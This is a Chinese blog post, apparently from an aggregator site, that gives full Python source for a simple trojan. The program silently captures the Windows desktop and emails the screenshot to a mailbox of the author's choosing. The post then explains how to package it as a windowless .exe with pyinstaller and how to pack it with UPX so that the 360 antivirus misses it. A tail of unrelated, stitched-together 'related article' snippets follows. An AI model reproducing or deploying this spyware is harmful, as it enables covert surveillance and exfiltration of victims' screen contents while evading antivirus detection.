功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱。

系统由两个功能组成:获取屏幕截图和发送邮件到邮箱。

源码如下:

# -*- coding: utf-8 -*-

import win32gui

import win32ui

import win32con

import win32api

import os,os.path

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

import smtplib

def sendFile(FilePos):

msg = MIMEMultipart()

To = 'XXXXX'(接受邮箱的地址,如XXXXXXXXX@qq.com)

From = 'XXXXX'(发送邮箱的地址,如XXXXXXXXX@qq.com)

FromPWD = 'XXXXX'(发送邮箱的密码)

SmtpSrv = 'XXXXXX'(邮箱服务器,如stmp.qq.com)

att = MIMEText(open(FilePos, 'rb').read(), 'base64', 'gb2312')

att["Content-Type"] = 'application/octet-stream'

att["Content-Disposition"] = 'attachment; filename='+FilePos

msg.attach(att)

msg['to'] = To

msg['from'] = From

msg['subject'] = 'test'

try:

print 'try to send'

server = smtplib.SMTP()

server.connect(SmtpSrv)

server.login(From,FromPWD)

server.sendmail(msg['from'], msg['to'],msg.as_string())

server.quit()

print 'send success'

except Exception, e:

print str(e)

# 获取桌面

hdesktop = win32gui.GetDesktopWindow()

# 分辨率适应

width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表

desktop_dc = win32gui.GetWindowDC(hdesktop)

img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建一个内存设备描述表

mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象

screenshot = win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc, width, height)

mem_dc.SelectObject(screenshot)

# 截图至内存设备描述表

mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将截图保存到文件中

screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp')

# 内存释放

mem_dc.DeleteDC()

win32gui.DeleteObject(screenshot.GetHandle())

sendFile('screenshot.bmp')

收发邮箱的地址可均填为自己的QQ邮件,密码为QQ邮箱密码。服务器为qq的stmp服务器

其中sendFile函数功能为向用户指定的邮箱发送有附件的邮件,其中附件为输入参数FilePos所在的位置。本系统中FilePos为screenshot.bmp,即发送邮件中的附件为当前目录下的screenshot.bmp。

从代码中可看出系统首先通过windows提供的API获取截图,并将截图保存至当前目录,命名为screenshot.bmp,之后通过sendFile函数将其发送出去。

代码写完以后通过pyinstaller将py文件打包为.exe文件。具体使用方法见:

参数选择建议为:

python pyinstaller.py -F -w PythonFileName.py

其中PythonFileName.py为编写的python文件。

此外,执行exe文件时会被360检测到程序有发送邮件的动作,可通过加壳避免。 加壳软件推荐使用UPX Shell:

这样360就不会检测到了。

参考链接:

python编写简易木马程序_python简易木马编写相关推荐

  1. python简单的小程序_Python简单小程序---名片简易系统

    Python简单小程序---名片简易系统 主程序功能代码 import cards_tools while True: cards_tools.show_meun() action = int(inp ...

  2. python输入10个整数_python练习:编写一个程序,要求用户输入10个整数,然后输出其中最大的奇数,如果用户没有输入奇数,则输出一个消息进行说明。...

    python练习:编写一个程序,要求用户输入10个整数,然后输出其中最大的奇数,如果用户没有输入奇数,则输出一个消息进行说明. 重难点:通过input函数输入的行消息为字符串格式,必须转换为整型,否则 ...

  3. python监控linux运行程序_python linux监控程序

    Pyinotify – Linux中实时监控文件系统更改 Pyinotify 是一个简单而实用的 Python 模块,它用于通过 inotify 实时监控Linux文件系统的更改.用于在Linux中实 ...

  4. C#实现简单的木马程序(学习木马制作流程)

    首先说明一下,学这个木马制作流程并不是为了去做坏事,而是要知道它的原理,以后在工作生活中,也可以及时发现自己的电脑有没有被植入木马,从而规避一些不必要的损失.要实现木马服务的程序,需要实现以下几个功能 ...

  5. python定义类的程序_python扫码签到程序python中如何定义类

    什么是类? 用来描述具有相同的属性和方法的对象的集合.它定义了该集合中每个对象所共有的属性和方法.对象是类的实例. 什么是方法? 类中的函数即为方法 如何定义一个类? 定义类,语法格式如下: < ...

  6. 编写start脚本程序_使用可编写脚本的终结点遍历REST应用程序

    编写start脚本程序 我喜欢JDK附带ScriptEngine的事实. 当您要评估服务器环境中已经部署的应用程序并进行故障排除时,它非常灵活. 将此REST端点添加到Java EE应用程序中,它将使 ...

  7. visual studio 如何编写c语言程序,用Visual Studio 编写纯C语言程序

    本篇文章讲述如何用微软的 Visual Studio 编写纯C语言程序,这里的纯C语言,指的是 ANSI C 语言. 要在 Visual Studio 里创建一个ANSI C语言程序,请按以下步骤执行 ...

  8. 大乐透python预测程序_python简易的大乐透数据获取及初步分析

    1 #-*- coding: utf-8 -*- 2 """ 3 @auther UKC_unknowcry4 @date 2020-4-185 @desc 简单的彩票分 ...

  9. python 开发窗体应用程序_Python如何编写窗体程序

    Python如何编写窗体程序 python和很多软件的用法其实差不多,只是代码更为简洁,代码量没这么多. 窗体的写法也和java类似,现在举个例子:编写一个点名器,有一个按钮当被点击时,会随机产生一个 ...

  10. python棋类程序_python棋类游戏编写入门

    刚接触棋类游戏程序编写的朋友,往往比较迷惑,不知从何下手. 本文总结了棋类游戏的主程序流程.计算机走子策略.打分方式(以井字棋.黑白棋.五子棋为例),未使用minimax算法,比较简单,适合刚接触的朋 ...

最新文章

  1. asp.net mysql 创建变_[ASP.net教程]EF Core使用CodeFirst在MySql中创建新数据库以及已有的Mysql数据库如何使用DB First生成域模型...
  2. c++求解自行车慢速比赛问题_一元一次方程应用专题,十大题型(包括数轴上动点问题)...
  3. 某股份制商业银行数据中心灾备建设经验
  4. ML之sklearn:sklearn.metrics中常用的函数参数(比如confusion_matrix等 )解释及其用法说明之详细攻略
  5. 为什么 K8s 在阿里能成功?| 问底中国 IT 技术演进
  6. 【模型训练】SGD的那些变种,真的比SGD强吗
  7. 图片服务 - thumbor成像
  8. GitHub或正式登陆中国!拟在中国设立分公司
  9. 细说php第四版笔记,细说PHP 学习笔记(二)
  10. 三星固态驱动安装失败_三星950 Pro固态硬盘用U盘装win7失败解决教程
  11. pandas按照多列排序-ascending
  12. 《伸手系列》之arm架构服务器安装kubernetes
  13. lol网通区服务器的位置,LOL英雄联盟转区系统地址在哪?
  14. FreeRTOS 链表的深度讲解
  15. 《Python编程 从入门到实践》
  16. vue源码用了哪些设计模式,vue实际开发遇到的难点
  17. ③【Java 组】蓝桥杯省赛真题 [黄金连分数][马虎的算式]持续更新中...
  18. 美团、阿里正在你看不见的地方争抢4万亿蛋糕
  19. 炒股心得:不贪不怕 (zt)
  20. 闭关之 C++ 函数式编程笔记(一):函数式编程与函数对象

热门文章

  1. 关于入门小白对java这种面向对象编程语言的封装、继承、多态的理解
  2. [jquery] 动画 show hide toggle,下拉显示---slideDown,淡入淡出----fadeIn, animate() ,停止动画---stop,finish
  3. 专访:InMobi全球CEO Naveen Tewari
  4. SQLServer数据库的发布订阅读写分离主从复制对新增表的自动同步深究
  5. 软件架构——系统分析员、系统架构师、项目经理的区别
  6. 程序员慵懒的周末:不想出门还想吃肯德基香辣鸡翅?
  7. 新加坡亲子游,这些热门景点必须安排上
  8. Android JSON解析库Gson和Fast-json的使用对比和图书列表小案例
  9. FFmpeg —— ffplay源码 - 制作桌面动态壁纸
  10. 关于深圳商事登记招商ukey签名无效